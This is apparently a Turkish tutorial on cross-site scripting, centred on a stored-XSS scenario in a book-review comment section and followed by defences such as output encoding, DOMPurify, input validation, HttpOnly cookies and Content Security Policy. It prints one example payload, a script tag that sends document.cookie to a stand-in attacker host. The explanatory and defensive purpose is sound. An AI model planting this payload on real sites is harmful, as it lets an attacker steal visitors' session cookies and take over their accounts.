XSS (Cross-Site Scripting) bir saldırganın bir websitesine, kötü niyetli JavaScript kodları yazmasıdır. Tarayıcı bu kodu sitenin orijinal kodu zannedip çalıştırır. Saldırganın asıl amacı siteyi ziyaret eden kullanıcıların bilgilerine ulaşmaktır.

Başarılı bir XSS sonucu hacker şunları yapabilir:

  • Cookie bilginizi alıp sizin e-mail ve şifre bilgilerinize gerek olmadan hesabınızı istediği gibi kullanabilir.
  • Ekleyeceği sahte modallarla kredi kartı bilgilerinizi çalabilir.
  • Eğer dosya indirilebilen bir siteyse, kullancının bilgisayarına Malware (zararlı yazılım) indirtebilir.

En tehlikeli hali Kalıcı XSS'tir. Hacker, sitenin veritabanına (profil, yorumlar vb.) kodu yerleştirir. O sayfayı her açan kullanıcı birer kurban olur. Bir örnekle pekiştirelim:

Kesinlikle doğru. Stored (Kalıcı) XSS, XSS saldırılarının "seri katili" gibidir. Reflected veya DOM gibi tek bir kişiyi hedef almak yerine, o sayfaya giren herkesi otomatik olarak ava dönüştürür.

Hadi, senin için bu durumu teknik ama anlaşılır bir senaryoyla canlandıralım:

Bir Stored XSS Senaryosu

Diyelim ki bir "Kitap Eleştiri Sitesi" geliştiriyorsun ve kullanıcıların yorum yapmasına izin veriyorsun.

Saldırgan, "Küçük Prens" kitabının altına yorum yapar. Ancak yorum kısmına "Çok güzel bir kitap" yazmak yerine şunu yazar:

Harika bir eser! <script>fetch('https://hacker-server.com/collect?data=' + document.cookie)</script>

Senin backend kodun (Node.js/SQL), bu yorumu hiçbir denetimden geçirmeden veri tabanına kaydeder. Artık o zehirli JavaScript kodu, veri tabanında masum bir yorum gibi uyumaktadır.

Ertesi gün, sitenin bir yöneticisi veya normal bir kullanıcı (kurban) "Küçük Prens" kitabının yorumlarını okumak için sayfayı açar.

  • Ne olur? Tarayıcı, veri tabanından gelen yorumları çeker.
  • Patlama Anı: Tarayıcı yorumun içindeki <script> etiketini görür. "Aaa, burada çalıştırılması gereken bir kod var!" der ve sessizce arka planda çalıştırır.
  • Sonuç: Kurbanın o anki tüm oturum çerezleri (cookies), hacker'ın sunucusuna (hacker-server.com) anında postalanır. Kurban hiçbir şey fark etmez, sadece yorumu okuduğunu sanır.

XSS'e Karşı Alınabilecek Önlemler

  1. Çıktı Kodlama (Output Encoding)

Bu, React ve Next.js'in sana sunduğu en büyük hediyedir. React, {variable} içine yazdığın her şeyi otomatik olarak "string" (metin) olarak işler ve HTML etiketlerini etkisiz hale getirir.

  • Altın Kural: Mecbur kalmadıkça dangerouslySetInnerHTML özelliğini kullanma.
  • Eğer mecbur kalırsan: Veriyi önce DOMPurify gibi bir kütüphaneyle mutlaka yıka.

2. Girdi Temizleme (Input Sanitization & Validation)

Kullanıcıdan gelen veriyi (formlar, URL parametreleri) daha veri tabanına kaydetmeden denetlemelisin.

  • Zod veya Joi: Gelen verinin tipini kontrol et (Örn: "Yaş alanı sadece sayı olmalı, script içeremez").
  • Sanitization: Backend tarafında (Node.js) veriyi veri tabanına yazmadan önce HTML etiketlerinden arındır.

3. HttpOnly ve Secure Cookie'ler

Hacker'ın XSS ile yapacağı en büyük iş senin oturum çerezini çalmaktır. Eğer çerezlerini şu bayraklarla (flags) ayarlarsan, hacker XSS patlatsa bile eli boş döner:

  • HttpOnly: JavaScript'in (document.cookie) bu çereze erişmesini engeller. Hacker kodu çalıştırsa da çerezi okuyamaz.
  • Secure: Çerezin sadece HTTPS üzerinden gönderilmesini sağlar.
  • SameSite=Strict: CSRF saldırılarına karşı koruma sağlar.

4. Content Security Policy (CSP)

Sitenin başına bir "güvenlik görevlisi" dikmek gibidir. Tarayıcıya, "Sadece benim güvendiğim şu şu adreslerden gelen kodları çalıştır, geri kalan her şeyi (hacker'ın kodlarını) reddet" talimatını verir.

  • Neden Önemli? Hacker bir şekilde XSS açığı bulup kod enjekte etse bile, tarayıcı CSP kuralına bakar: "Bu kod hacker-server.com'dan mı geliyor? Listemde yok, o zaman çalıştırmıyorum!" der ve saldırıyı daha başlamadan bitirir.
  • Nasıl Uygulanır? HTTP header'ları üzerinden veya HTML'deki <meta> etiketiyle tarayıcıya bildirilir.